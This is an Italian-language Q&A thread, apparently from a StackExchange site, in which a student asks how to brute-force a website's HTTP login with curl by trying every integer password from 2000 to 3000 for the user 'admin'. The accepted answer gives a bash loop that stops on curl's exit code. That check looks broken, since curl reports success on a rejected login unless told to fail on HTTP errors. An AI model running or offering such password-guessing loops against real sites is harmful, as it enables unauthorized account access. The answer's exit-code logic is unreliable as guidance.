Come posso accedere a un sito Web dal terminale?


8

Come studente di informatica, ora sto imparando a lavorare con la riga di comando. Devo usare la forza bruta per accedere a un sito Web, conoscendo il nome utente e che la password è un numero intero in un determinato intervallo. Questo è quello che ho finora, ma non sembra funzionare.

 for i in {2000..3000}; do curl http://admin:$i@mywebsite.com/link; done

Come posso procedere?

Risposte:


6

Ciò che manca alla tua routine è un modo per uscire una volta itrovata la corretta . Per questo puoi guardare il codice di uscita restituito da curl:

for i in {2000..3000}
do 
  curl http://admin:$i@mywebsite.com/link
  if [ "$?" -eq 0 ]; then
    echo Found "$i"
    break
  fi
done

Il valore di uscita di curlè 0 quando tutto è corretto e può essere verificato direttamente dopo l'arresto del programma ispezionando la variabile speciale $?. Usa man curle cerca per EXIT CODEvedere tutte le diverse cose che curlpuoi dirti con il suo codice di uscita.

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.